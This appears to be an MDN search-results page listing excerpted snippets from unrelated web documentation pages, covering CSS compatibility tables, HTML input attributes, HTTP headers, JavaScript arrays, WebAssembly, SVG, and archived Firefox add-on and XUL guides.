n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmin-widthchrome full support 1edge full support 12firefox full support 1notes full support 1notes notes css 2.1 leaves the behavior of min-width with table undefined. firefox supports applying min-width to t...
... full support 4notes full support 4notes notes css 2.1 leaves the behavior of min-width with table undefined. ...
... 16 — 22notes notes firefox 18 and later (until the value was removed), used auto as the initial value for min-width.opera android full support 14notes full support 14notes notes opera uses auto as the initial value for min-width.safari ios no support nosamsung internet android full support 1.5notes full support 1.5notes notes samsung internet uses auto as the initial value for min-width.fit-contentchrome full support 46 full support 46 full support ...
...And 4 more matches
User input and controls - Developer guides
ong with faqs, real-world examples, and links to further information for anyone needing more detailed information on the underlying technologies. relevant apis and events include touch events, pointer lock api, screen orientation api, fullscreen api, drag & drop and more. ...
...ormation for anyone needing more detailed information on the underlying technologies. relevant apis and events include touch events, pointer lock api, screen orientation api, fullscreen api, drag & drop and more. ...
... events, pointer lock api, screen orientation api, fullscreen api, drag & drop and more. user input and controls workflow the following diagram illustrates the typical workflow for implementing user input mechanisms: first of all, you need to decide which input mechanisms you want to cover in your application out of mouse, keyboard, finger touch and so on. once you decided the input mechanisms, you can control them using tools offered by the web platform or javascript libraries. recommendations available input mechanisms depend on the capabilities of the device running the application: some devices provide touchscreen displays: the web platform offers touch events to interpret finger activity on touch-based user interfaces. for devices providing a mouse/touchpad as a pointing met...
...And 4 more matches
Developer guides
guage of nearly all web content. most of what you see on screen in your browser is described, fundamentally, using html. css learning area cascading style sheets (css) is a stylesheet language used to define the presentation of a document written in html. audio and video delivery we can deliver audio and video on the web in several ways, ranging from 'static' media files to adaptive live streams. ...
..., fundamentally, using html. css learning area cascading style sheets (css) is a stylesheet language used to define the presentation of a document written in html. audio and video delivery we can deliver audio and video on the web in several ways, ranging from 'static' media files to adaptive live streams. this article is intended as a starting point for exploring the various delivery mechanisms of web-based media and compatibility with popular browsers. ...
...io and video delivery we can deliver audio and video on the web in several ways, ranging from 'static' media files to adaptive live streams. this article is intended as a starting point for exploring the various delivery mechanisms of web-based media and compatibility with popular browsers. audio and video manipulation the beauty of the web is that you can combine technologies to create new forms. having native audio and video in the browser means we can use these data streams with technologies such as <canvas>, webgl or web audio api to modify audio and video directly, for example adding reverb/compression effects to audio, or grayscale/sepia filters to video. this article provides a reference to explain what you need to do. events developer guide events refer to two things: a design p...
...And 4 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
Web › HTML › Element › input
the <input> element is one of the most powerful and complex in all of html due to the sheer number of combinations of input types and attributes. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...rc is missing or otherwise fails to load. see the image input type. autocomplete (not a boolean attribute!) the autocomplete attribute takes as its value a space-separated string that describes what, if any, type of autocomplete functionality the input should provide. a typical implementation of autocomplete simply recalls previous values entered in the same input field, but more complex forms of autocomplete can exist. for instance, a browser could integrate with a device's contacts list to autocomplete email addresses in an email input field. see values in the html autocomplete attribute for permitted values. the autocomplete attribute is valid on hidden, text, search, url, tel, email, date, month, week, time, datetime-local, number, range, color, and password. this attribute has n...
...ber ending in .2, such as <input type="number" min="-5.2"> note: when the data entered by the user doesn't adhere to the stepping configuration, the value is considered invalid in contraint validation and will match the :invalid pseudoclass. the step attribute is expressed in seconds. the step scale factor is 1000 (which converts the seconds to milliseconds, as used in the other algorithms). the default step is 60 seconds. see client-side validation for more information. tabindex global attribute valid for all elements, including all the input types, an integer attribute indicating if the element can take input focus (is focusable), if it should participate to sequential keyboard navigation. as all input types except for input of type hidden are focusable, this attribute sh...
...And 4 more matches
Index - HTTP
Web › HTTP › Headers › Index
llowed by a colon ':', then by its value (without line breaks). leading white space before the value is ignored. 2 accept http, http header, reference, request header the accept request http header advertises which content types, expressed as mime types, the client is able to understand. using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-type response header. browsers set adequate values for this header depending on the context where the request is done: when fetching a css stylesheet a different value is set for the request than when fetching an image, video or a script. 3 accept-charset content negotiation, http, http header, reference, request header the accept-cha...
...s stylesheet a different value is set for the request than when fetching an image, video or a script. 3 accept-charset content negotiation, http, http header, reference, request header the accept-charset request http header advertises which character set the client is able to understand. using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice within the content-type response header. browsers usually don't set this header as the default value for each content type is usually correct and transmitting it would allow easier fingerprinting. 4 accept-encoding content negotiation, http, http header, reference, request header the accept-encoding request http header advertises which content encodin...
...ally correct and transmitting it would allow easier fingerprinting. 4 accept-encoding content negotiation, http, http header, reference, request header the accept-encoding request http header advertises which content encoding, usually a compression algorithm, the client is able to understand. using content negotiation, the server selects one of the proposals, uses it and informs the client of its choice with the content-encoding response header. 5 accept-language content negotiation, http, http header, reference, request header the accept-language request http header advertises which languages the client is able to understand, and which locale variant is preferred. (by languages, we mean natural languages, such as english, and not programming languag...
...And 4 more matches
Indexed collections - JavaScript
..., elementn) let arr = [element0, element1, ..., elementn] element0, element1, ..., elementn is a list of values for the array's elements. when these values are specified, the array is initialized with them as the array's elements. the array's length property is set to the number of arguments. the bracket syntax is called an "array literal" or "array initializer." it's shorter than other forms of array creation, and so is generally preferred. see array literals for details. to create an array with non-zero length, but without any items, either of the following can be used: // this... let arr = new array(arraylength) // ...results in the same array as this let arr = array(arraylength) // this has exactly the same effect let arr = [] arr.length = arraylength note: in the above co...
...sty' is indexed at 30, so cats.length returns 30 + 1). remember, javascript array indexes are 0-based: they start at 0, not 1. this means that the length property will be one more than the highest index stored in the array: let cats = [] cats[30] = ['dusty'] console.log(cats.length) // 31 you can also assign to the length property. ...
...ting a value that is shorter than the number of stored items truncates the array. writing 0 empties it entirely: let cats = ['dusty', 'misty', 'twiggy'] console.log(cats.length) // 3 cats.length = 2 console.log(cats) // logs "dusty, misty" - twiggy has been removed cats.length = 0 console.log(cats) // logs []; the cats array is empty cats.length = 3 console.log(cats) // logs [ <3 empty items> ] iterating over arrays a common operation is to iterate over the values of an array, processing each one in some way. the simplest way to do this is as follows: let colors = ['red', 'green', 'blue'] for (let i = 0; i < colors.length; i++) { console.log(colors[i]) } if you know that none of the elements in your array evaluate to false in a boolean context—if your array consists only of...
...And 4 more matches
Error.prototype.toString() - JavaScript
error object overrides the object.prototype.tostring() method inherited by all objects. ...
...s the object.prototype.tostring() method inherited by all objects. ...
...bject.prototype.tostring() method inherited by all objects. ...
...And 4 more matches
WebAssembly.Global - JavaScript
l() constructor. it is being defined as a mutable i32 type, with a value of 0. the value of the global is then changed, first to 42 using the global.value property, and then to 43 using the incglobal() function exported out of the global.wasm module (this adds 1 to whatever value is given to it and then returns the new value). ...
...e, with a value of 0. the value of the global is then changed, first to 42 using the global.value property, and then to 43 using the incglobal() function exported out of the global.wasm module (this adds 1 to whatever value is given to it and then returns the new value). ...
...hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 4 more matches
WebAssembly.Module - JavaScript
a webassembly.module object contains stateless webassembly code that has already been compiled by the browser — this can be efficiently shared with workers, and instantiated multiple times. constructor webassembly.module() creates a new module object. static properties webassembly.module.customsections() given a module and string, returns a copy of the contents of all custom sections in the module with the given string name. webassembly.module.exports() given a module, returns an array containing descriptions of all the declared exports. webassembly.module.imports() given a module, returns an array containing descriptions of all the declared imports. examples sending a compiled module to a worker the following example (see our index-compile.html demo on github, and vie...
...hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support 7.0nodejs full support 8.0.0module() constructorchrome full support 57edge full support 16firefox full support 52notes full ...
...And 4 more matches
WebAssembly.Table - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support 7.0nodejs full support 8.0.0table() constructorchrome full support 57edge full support 16firefox full support 52notes full s...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support 7.0nodejs full support 8.0.0getchrome full support 57edge full support 16firefox full support 52notes full support ...
...And 4 more matches
Image file type and format guide - Web media technologies
are defined in the specification, they are not widely used and often completely unimplemented. these features include: support for different bit depths, indexed color, alpha channels, and different pixel orders (by default, bmp is written from bottom-left corner toward the right and top, rather than from the top-left corner toward the right and bottom). theoretically, several compression algorithms are supported, and the image data can also be stored in jpeg or png format within the bmp file. mime type image/bmp file extension(s) .bmp specification no specification; however, microsoft provides general documentation of the format at docs.microsoft.com/en-us/windows/desktop/gdi/bitmap-storage browser compatibility all versions of chrome, edge, ...
... greyscale with alpha n/a bmp has no distinct grayscale format. true color with alpha 8 and 16 each pixel is represented by four values representing the red, green, blue, and alpha color components; each is d bits. compression several compression methods are supported, including lossy or lossless algorithms licensing covered by the microsoft open specification promise; while microsoft holds patents against bmp, they have published a promise not to assert its patent rights as long as specific conditions are met. this is not the same as a license, however. bmp is included under the windows metafile format (.wmf). gif (graphics interchange format) in 1987, the compuserve online serv...
... compression lossless (lzw) licensing while the gif format itself is open, the lzw compression algorithm was covered by patents until the early 2000s. as of july 7, 2004, all relevant patents have expired and the gif format may be used freely ico (microsoft windows icon) the ico (microsoft windows icon) file format was designed by microsoft for desktop icons of windows systems. however, early versions of internet explorer introduced the ability for a web site to provide a ico file named favicon.ico in a web site's root directory to specify a favicon — an icon to be displayed in the favorites menu, and other places where an iconic representation of the site would be useful. an ico file can contain multiple icons, and begins with a directory listing details about each...
...And 4 more matches
SVG documentation index - SVG: Scalable Vector Graphics
Web › SVG › Index
d semantics as the baseline descriptor within an @font-face. 24 amplitude needscompattable, svg, svg attribute the amplitude attribute controls the amplitude of the gamma function of a component transfer element when its type attribute is gamma. 25 arabic-form deprecated, svg, svg attribute the arabic-form attribute indicates which of the four possible forms an arabic glyph represents. 26 ascent deprecated, needsexample, svg, svg attribute the ascent attribute defines the maximum unaccented height of the font within the font coordinate system. 27 attributename needscompattable, svg, svg attribute the attributename attribute indicates the name of the css property or attribute of the target element that is goin...
...deographic deprecated, svg, svg attribute the ideographic attribute indicates the alignment coordinate for glyphs to achieve ideographic baseline alignment for horizontally oriented glyph layouts. 107 image-rendering needsexample, svg, svg attribute the image-rendering attribute provides a hint to the browser about how to make speed vs. quality tradeoffs as it performs image processing. 108 in filters, needscompattable, svg, svg attribute the in attribute identifies input for the given filter primitive. 109 in2 filters, needscompattable, needsexample, svg, svg attribute the in2 attribute identifies the second input for the given filter primitive. it works exactly like the in attribute. 110 intercept needs...
...ed. 239 vector-effect svg, svg attribute the vector-effect property specifies the vector effect to use when drawing an object. vector effects are applied before any of the other compositing operations, i.e. filters, masks and clips. 240 version deprecated, svg, svg attribute the version attribute is used to indicate what specification a svg document conforms to. it is only allowed on the root <svg> element. it is purely advisory and has no influence on rendering or processing. 241 vert-adv-y deprecated, svg, svg attribute the vert-adv-y attribute indicates the vertical advance after rendering a glyph in vertical orientation. 242 vert-origin-x deprecated, svg, svg attribute the vert-origin-x attribute indicate...
...And 4 more matches
ui/frame - Archive of obsolete content
it occupies the whole width of the browser window and is 18 pixels high on a normal-resolution display or 36 pixels high on a high-resolution (hidpi) display. this toolbar might look something like: scripting frames to add scripts to frames, include them directly from the frame's html content, as with a no...
... code, you can assign a listener to the frame's message event. the data property of the event is the message payload. var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var frame = new frame({ url: "./city-info.html", onmessage: (e) => { console.log("new city: " + e.data); } }); var toolbar = toolbar({ name: "city-info", title: "city info", items: [frame] }); from add-on to all frames to send a message from the add-on code to all frames, attached to all open browser windows, you can use frame.postmessage(). you can specify the frame's url property as the targetorigin: frame.postmessage(message, frame.url); this add-on listens for a frame script to send the "city changed" message above, and in response, updates all frames across all b...
...real case it might ask a web service): var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var weather = { "london" : "rainy", "toronto" : "snowy", "san francisco" : "foggy" } var frame = new frame({ url: "./city-info.html", onmessage: (e) => { updateweather(e.data); } }); var toolbar = toolbar({ name: "city-info", title: "city info", items: [frame] }); function updateweather(location) { frame.postmessage(weather[location], frame.url); } to listen to these messages in the frame script, add a listener to the window's message event: window.addeventlistener("message", updateweather, false); function updateweather(message) { var label = window.document.getelementbyid("weather"); label.textcontent = message.data; } from add-o...
...And 3 more matches
File I/O - Archive of obsolete content
bject that implements nsifile. if you want the file system path, use file.path, . here are some of the special locations the directory service supports: (scope: d = product-wide, f = profile wide) string scope meaning achrom d %curprocd%/chrome aplugns d %curprocd%/plugins (deprecated - use aplugnsdl) aplugnsdl d comsd n/a %curprocd%/components curprocd n/a current working directory (usually the application's installation directory). defproflrt d location of user profile temporary directories live. defprofrt d the root of the default profile directory (for example /root/.mozilla). defrt d %curprocd%/defaults - the root directory of all defa...
...f d the profile defaults of the "current" locale. should be the first choice. profdefnoloc d %installation%/defaults/profile - the profile defaults of the "default" installed locale. second choice when profdef is not available. profld f local settings on windows; where the network cache and fastload files are stored. progs d user start menu programs directory (for example, c:\documents and settings\username\start menu\programs). this is a windows-specific value. tmpd d the operating system's temporary files directory (for example, /tmp on mac os x and linux). uchrm f the user chrome directory in their profile: %profile%/chrome. resource:app d the application directory in an xulrunner application. ...
... %profile%/chrome. resource:app d the application directory in an xulrunner application. look in the source for other strings available: xpcom/io/nsappdirectoryservicedefs.h, xpcom/io/nsdirectoryservicedefs.h. other such keys as the "profd" key are available; check the known locations. enumerating drives on windows while you can use initwithpath("/") on unix-like systems (linux, mac) to get the root of the file system, there's no such root on windows. however, you can enumerate available drives using the following code: components.utils.import("resource://gre/modules/fileutils.jsm"); var root = new fileutils.file("\\\\."); var drivesenum = root.directoryentries, drives = []; while (drivesenum.hasmoreelements()) { drives.push(drivesenum.getnext(). queryint...
...And 3 more matches
Miscellaneous - Archive of obsolete content
this page contains small, self-explanatory code snippets. system info operating system detection // returns "winnt" on windows vista, xp, 2000, and nt systems; // "linux" on gnu/linux; and "darwin" on mac os x. var osstring = services.appinfo.os; detecting the host application and version // get the name of the application running us services.appinfo.name; // returns "firefox" for firefox services.appinfo.version; // returns "2.0.0.1" for firefox version 2.0.0.1 retrieving the version of an extension as specified in the extension's install.rdf components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("extension-guid@example.org", function(addon) { // this is an asynchronous callback function that might not be called immediately alert("my exte...
...e. it also collapses consecutive whitespaces into a single whitespace, and returns at most 150 characters, making it ideal to display text in context menus. it is defined at //github.com/realityripple/pale-moon/blob/master/palemoon/base/content/browser.js#l5113. note that it returns the empty string (""), not false, when nothing is selected. getbrowserselection() is not implemented on some platforms, such as thunderbird and songbird. see also http://mxr.mozilla.org/seamonkey/source/browser/base/content/browser.js#4674 discovering which element in the loaded document has focus // focusedcontrol stores the focused field, or null if there is none. // this excludes textareas for simplicity, but onpageload() can easily be // modified to cycle through textareas as well. further enhancements wou...
...e speficied url, %s, is invalid. that was attempt number %s. ...
...And 3 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
this url will be retrieved and displayed to the user. since it is being displayed outside of a normal webpage context it is heavily sanitized, which means there are few formatting options available and scripting and images aren't allowed. the information page retrieved must currently be totally valid xhtml, including being delivered with the mime type application/xhtml+xml (important: see problems section) you may include %app_locale% in your updateinfourl if you want to have locale information included in the url -- this allows you to customize the text based on the user's locale. you may also use the other substitution strings supported by updateurl, although those may be less useful. formatting prior to firefox 4 prior to firefox 4 you could only use the following tags, any other tag...
... you may include %app_locale% in your updateinfourl if you want to have locale information included in the url -- this allows you to customize the text based on the user's locale. you may also use the other substitution strings supported by updateurl, although those may be less useful. formatting prior to firefox 4 prior to firefox 4 you could only use the following tags, any other tags have themselves and their contents completely stripped: h1, h2 and h3 for general headings p for paragraphs ul and ol for lists. within lists use the usual li tag for each list item. within h1, h2, h3, p and li tags you may use: b or strong for bolder text i or em for italicized text formatting in firefox 4 and later from firefox 4 the restrictions are relaxed somewhat. the following tags are...
...extension</h2> <ul> <li>this update fixes some stability related issues.</li> </ul> </html> what end-user sees the content of updateinfourl will be displayed to user in the add-ons page, in a list of all available updates. the user then can click the show information button, and will see the information, on the right hand side. (note the button caption is changed to hide information) problems you may encounter a problem where the content will not be displayed. see image below. the problem is because of mime type that should be set in the server for xhtml extension. if you are running apache server, you might consider adding addtype application/xhtml+xml .xhtml to the .htacess file. unfortunately, i've encounter cases where adding the mime type to the server didnt help either. so the ...
...And 3 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
rior to firefox 10, the chrome.manifest file you rely on wasn't loaded automatically for restartless add-ons. hacks were required, and probably a bad idea. step 2b: audit any remaining resource:// uri usage internal to your extension if you don't need resource:// uris for anything else, then you may be able to skip the next step. if not, see if you still can't do things any other way. as with jsms, a chrome:// uri may be more appropriate. if you want to also make your add-on extractionless then you may need "step 3" if you're loading files with nsifileinputstream or something similar, or a jar: uri might work. if not, a file:// uri might be fine for you. restartless add-ons can easily get a uri for their install location on startup, so you should look into what you can do with that. step ...
...you can do with that. step 3: no more nsifile access for files internal to your bundle for an extractionless extension, access to files internal to your bundle will not be possible using the nsifile interface. if you need to read data, or otherwise access files within your bundle, there are two options. the first is to use the nsizipreader interface which permits continuing to use nsiinputstreams, etc. the second is to re-code to use xmlhttprequest. a file:// uri to the install location, or .xpi file, is available in installpath property of the bootstrap data structure passed to the startup(), shutdown(), install(), and uninstall() functions in what will be your bootstrap.js file (see below). how to get and load the data of of your add-on's files using the add-on manager api: // this i...
...e that the usage of an octal integer literal, while standard for handling permissions, is dangerous and deprecated; usage of use es5 strict mode to disable this and other foot-guns is recommended) if you need to read/manipulate binary data, a nsibinaryinputstream instance is what you'll use on that stream (e.g. 32-bit integers, or fun stuff like 48-bit integers). ...
...And 3 more matches
Promises - Archive of obsolete content
e) => { self.reporterror("publication failed", e); }); file io file io in add-ons should be done via the os.file api, which provides a simple, but powerful, interface for reading, writing, and manipulating both text and binary files. it is also available for use off-main-thread in workers as a synchronous api. this interface replaces the previous, complicated xpcom nsifile and streams apis, and their related javascript helper modules. these older interfaces should be avoided, even in their asynchronous forms, due to their performance penalties and needless complexity. representative example usage components.utils.import("resource://gre/modules/osfile.jsm"); task.spawn(function* () { // retrieve file metadata to check modification time. let info = yield os.file.stat(...
...essedpath + "." + math.random() }); // and write out a new config file. config.indexstats = processor.stats; yield os.file.writeatomic(configpath, json.stringify(config), { tmppath: configpath + "." + math.random(), encoding: "utf-8" }) timestamp = new date; }); http requests http requests should, in nearly all circumstances, be made via the standard xmlhttprequest api. while this api does not have direct support for promises, its standard usage is very easy to adapt to a promise-based approach. moreover, many third-party wrappers for the xmlhttprequest api now support promises out of the box. example direct usage task.spawn(function* () { // make the initial request. let resp = yield new promise((res...
...or both // downloads to complete. // this will raise an error if either download fails. yield promise.all([download_1, download_2.start()]); // do something with the saved files. dostuffwith(path_1, path_2); }); sqlite first, it’s important to note that sqlite should be avoided in favor of simpler solutions, such as flat json files, under most circumstances. the io, memory, and cpu overhead added by sqlite is substantial, and in most cases outweighs the cost of dealing with flat files directly. for use cases which are not easily served by other options, or for legacy code which cannot easily be upgraded to non-relational models, the sqlite.jsm module provides a clean, promise-based interface to sqlite databases. representative example usage ...
...And 3 more matches
Java in Firefox Extensions - Archive of obsolete content
your extension's folder hierarchy) // you must add this utilities (classloader) jar to give your extension full privileges var extensionurl = "file:///" + extensionpath.path.replace(/\\/g,"/"); var classloaderjarpath = extensionurl + "/java/javafirefoxextensionutils.jar"; // add the paths for all the other jar files that you will be using var myjarpath = extensionurl + "/java/testjava.jar"; // seems you don't actually have to replace the backslashes as they work as well var urlarray = []; // build a regular javascript array (liveconnect will auto-convert to a java array) urlarray[0] = new java.net.url(myjarpath); urlarray[1] = new java.net.url(classloaderjarpath); var cl = java.net.urlclassloader.newinstance(urlarray); //set security policies using the above policyadd() function polic...
...d reflection. ...
...der.loadclass('com.sleepycat.db.environmentconfig'); paramtypes[1] = envconfigclass; // get the constructor var constructor = envclass.getconstructor(paramtypes); // now that we have the constructor with the right parameter types, we can build the specific arguments we wish to pass to it var arglist = reflect.array.newinstance(java.lang.object, 2); // 2nd argument should indicate the number of items in the following array var mydir = new java.io.file(dirurl); // a file url arglist[0] = mydir; var envconfig = envconfigclass.newinstance(); arglist[1] = envconfig; // call our constructor with our arguments var env = constructor.newinstance(arglist); be aware that liveconnect, while now actively supported by sun has only recently been reimplemented for use in mozilla, so there may still be some...
...And 3 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
pt> however, this is not guaranteed. to be sure that all elements exist, you should use the onload event handler on the <body> tag: <body onload="dofinish();"> <div id="foo">loading...</div> <script> function dofinish() { var element = document.getelementbyid("foo"); element.innerhtml = "done."; } </script> ... such timing-related issues are also hardware-related -- slower systems can reveal bugs that faster systems hide. one concrete example is window.open, which opens a new window: <script> function doopenwindow(){ var mywindow = window.open("about:blank"); mywindow.location.href = "http://www.ibm.com"; } </script> the problem with the code is that window.open is asynchronous -- it does not block the javascript execution until the window has finished loadi...
...color: green;}, which will only change the color if the element is a link (has an href attribute). alternatively, you can change the markup and close the opened <a /> before the start of the text -- the anchor will continue to work this way. quirks versus standards mode older legacy browsers, such as internet explorer 4, rendered with so-called quirks under certain conditions. while mozilla aims to be a standards-compliant browser, it has three modes that support older web pages created with these quirky behaviors. the page's content and delivery determine which mode mozilla will use. mozilla will indicate the rendering mode in view -> page info (or ctrl+i) ; firefox will list the rendering mode in tools -> page info. the mode in which a page is located depends on its doctype. doctypes ...
...ivex. the object created using new activexobject("microsoft.xmldom") has a loadxml method that can take in a string and generate a document from it. the following code shows you how: var xmlstring = "<xml id=\"xmldataisland\"><foo>bar</foo></xml>"; var mydocument; if (window.domparser) { // this browser appears to support domparser var parser = new domparser(); mydocument = parser.parsefromstring(xmlstring, "text/xml"); } else if (window.activexobject){ // internet explorer, create a new xml document using activex // and use loadxml as a dom parser. mydocument = new activexobject("microsoft.xmldom"); mydocument.async = false; mydocument.loadxml(xmlstring); } else { // not supported. } see using xml data islands in mozilla for an alternative approach. xmlhttprequest i...
...And 3 more matches
Monitoring downloads - Archive of obsolete content
the download manager instance is cached into a member variable in the downloadlogger object for reuse later, and its addlistener() method is called to start listening for download status...
... download being started; each row includes the // source uri, size, and start time. the end time and download speed // are both set to 0 at first, since we don't know those yet. // status is the same status value that came from the download manager. ...
... update the record. we find a // record for the same source uri and start time, then update the end // time, size, and speed entries in the record. by matching on both // source uri and start time, we support logging multiple downloads of // the same file. ...
...And 3 more matches
A XUL Bestiary - Archive of obsolete content
this xulnote presents some of the key concepts and terms in the xul development environment. the purpose of this article is not to describe these items in any great detail but to define what they are in simple terms. i selected items for this group because they seemed to be either shrouded in mystery, misused as concepts or terms, or underestimated according to their role in xul and cross-platform development. in contrast to the mozilla jargon file, this article describes items of specific interest to the web or content developer looking to establish a context for understanding mozilla's new technologies -- and in particular mozilla's xml-based user interface language, xul. chrome some of the most powerful and frequently misunderstood features of xul and the mozilla browser have to...
...he dramatic improvements in the object model and the power of the w3c dom level 2, the concept of the dom is displacing that of the more abstract dhtml. since any dynamic web development is dependent upon programmatic access to the web document (or xul interface), and since the dom is a standard and earlier notions of dynamic html were not, the term "dom" is used as a synonym for or instead of terms like "dynamic html" or "dhtml." the aom stands for the application object model, and is an extension of the dom up into the interface defined in xul. just as html is reflected in the dom as nodes like link, layer, and img, xul is reflected in the application object model in the hierarchy of xul widgets: browser, menu, menuitem, and so on. the dom and the aom form a kind of continuum, the whole o...
...el, and is an extension of the dom up into the interface defined in xul. just as html is reflected in the dom as nodes like link, layer, and img, xul is reflected in the application object model in the hierarchy of xul widgets: browser, menu, menuitem, and so on. the dom and the aom form a kind of continuum, the whole of which is manipulable from the standards upon which xul is based. near synonyms for xul there is much confusion about the words that begin with "x" in the mozilla open source project. the mozilla xparchitecture section below describes xpcom, xpidl, and xpconnect, three somewhat related technologies for getting access to application code from the interface. this section describes xul, xptoolkit, and xpfe, which are in some respects synonymous and in others quite different. ...
...And 3 more matches
MenuModification - Archive of obsolete content
this method will create a new menuitem element and insert it into the popup. this method may only be used with the menu element. <script> function addtomenu() { var menu = document.getelementbyid("edit-menu"); menu.appenditem("insert", "insert"); } </script> <menu id="edit-menu"/> <button label="add" oncommand="addtomenu()"/> in this example, the addtomenu function is called when the button is pressed. ...
...empt to open the menu is made. this function retrieves a reference to the popup with the id 'file-popup'. a new element is created using the createelement method. the createelement method takes one argument, the tag of the element to create. this menu is created and appended to the popup. the label is set appropriately, and now, as we have a menu, we can use the appenditem method to append two items to the submenu. the effect is that a submenu with two items is added dynamically to the menu. the appendchild method is available for all elements, and is used to add new nodes within another node. the appenditem method is specific to menus, as well as some other specific elements, and is simpler to use to append new menuitem elements to a menu. if we were to use the example above, we would als...
...otherwise, a new submenu would be added every time the menu is opened, which is clearly not desirable. another possibility is to ensure that the menu is only added once. the following shows how the addsubmenu function above might be rewritten to handle this case. ...
...And 3 more matches
Special per-platform menu considerations - Archive of obsolete content
for many menu commands, convention dictates where these items will be placed. for instance, the edit menu always starts with the undo command if such a feature is available in the application, followed by redo, cut, copy, paste, and so forth. some menu items have specific common labels or locations where certain menu items would go that differ on each platform. for instance, on windows, the menu item which exits the application is labeled "exit" and is normally placed at the end of the file menu. the mac application menu on the macintosh, an extra menu exists beside the file menu; its name is the same as the name of the application. this menu contains a number of items that pertain to the application. ...
...tance, on windows, the menu item which exits the application is labeled "exit" and is normally placed at the end of the file menu. the mac application menu on the macintosh, an extra menu exists beside the file menu; its name is the same as the name of the application. this menu contains a number of items that pertain to the application. for instance, this is the proper place to put the menu items which open the application preferences and which quit the application. this can be accomplished by ensuring that certain common ids are set for the menu items that need to be placed on the application menu. on the mac, these menu items will be moved onto the application menu, but on other platforms, they will be left in their original locations. this makes it easier to write the same xul code fo...
...here is a list of the menu item ids which are automatically handled. menu_filequitseparator the separator just before the quit/exit item. menu_filequititem the item which exits the application. ...
...And 3 more matches
2006-11-03 - Archive of obsolete content
11 2006. when he builds using the disable.crypto option he encounters the following problem: no rule to make target `../../dist/lib/components/libpipboot.a', needed by `minimo'. he has also created a bug...
...ps for /cygdrive/c/mozilla/toolkit/airbag/airbag/src/common/windows/guid_string.cc make[1]: leaving directory `/cygdrive/c/mozilla/obj-i686-pc-cygwin' make: *** [build] error 2 he also noted that he is using make 3.80-1. on november 1st gavin sharp responded phil's question. he said that the problem that phil is experiencing is a known issue. he also mentioned that airbag doesn't build with msvc 7.1. (http://www.google.com/url?sa=d&q=htt...tail%3fid%3d64) gavin recommended that phil should add |ac_add_options --disable-airbag| to his .mozconfig. new windows compatibility issue? originally posted on november 1st: dale dale has set up a windows machine in order to perform mozilla builds but has been unsuccessful to do so. according to him he has followed the windows build requireme...
...illa. he also noted that he has had different results (error messages when compiling) on different machines. dale has discovered that there are other people who are experiencing the same issues as he is. he has also found a work around which is to use version 20040127-1 of sh.exe instead of the sh.exe version 20040127-3. ...
...And 3 more matches
NPStream - Archive of obsolete content
to store a pointer to private data associated with the instance; not modified by the browser. ndata browser-private value that can store data associated with the instance; should not be modified by the plug-in. url the url that the data in the stream is read from or written to. end offset in bytes of the end of the stream (equivalent to the length of the stream in bytes). ...
... associated with the instance; not modified by the browser. ndata browser-private value that can store data associated with the instance; should not be modified by the plug-in. url the url that the data in the stream is read from or written to. end offset in bytes of the end of the stream (equivalent to the length of the stream in bytes). ...
... headers the response headers from the host. ...
...And 3 more matches
Encryption and Decryption - Archive of obsolete content
fficult, and in some cases impossible for all practical purposes. the sections that follow introduce the use of keys for encryption and decryption. symmetric-key encryption public-key encryption key length and encryption strength symmetric-key encryption with symmetric-key encryption, the encryption key can be calculated from the decryption key and vice versa. with most symmetric algorithms, the same key is used for both encryption and decryption, as shown in figure 1. implementations of symmetric-key encryption can be highly efficient, so that users do not experience any significant time delay as a result of the encryption and decryption. symmetric-key encryption also provides a degree of authentication, since information encrypted with one symmetric key cannot be decrypted with...
...o were originally using the key. symmetric-key encryption plays an important role in the ssl protocol, which is widely used for authentication, tamper detection, and encryption over tcp/ip networks. ssl also uses techniques of public-key encryption, which is described in the next section. public-key encryption the most commonly used implementations of public-key encryption are based on algorithms patented by rsa data security. therefore, this section describes the rsa approach to public-key encryption. public-key encryption (also called asymmetric encryption) involves a pair of keys-a public key and a private key-associated with an entity that needs to authenticate its identity electronically or to sign or encrypt data. each public key is published, and the corresponding private key is k...
...uch as firefox can then use your public key to confirm that the message was signed with your private key and that it hasn't been tampered with since being signed. "digital signatures" describes how this confirmation process works. key length and encryption strength breaking an encryption algorithm is basically finding the key to the access the encrypted data in plain text. ...
...And 3 more matches
Tamarin Tracing Build Documentation - Archive of obsolete content
tamarin source versions the following instructions are for obtaining and building the tamarin tracing source code. ...
...ing build status getting the tamarin source the tamarin tracing source resides in mercurial at tamarin tracing. use the following command to create a copy of the tamarin repository: $ hg clone http://hg.mozilla.org/tamarin-tracing tamarin-tracing building tamarin building tamarin will create all the libraries for the avmplus and garbage collector (mmgc), and create a standalone executable, avmshell, for executing files in the abc file format. running avmshell without any arguments will list the available options. note that additional command-line arguments are only available in the debug configuration. the tamarin codebase contains a cross-platform build system for mozilla developers. the cross-platform build system is used for daily automated build testing so it is the most reliable sy...
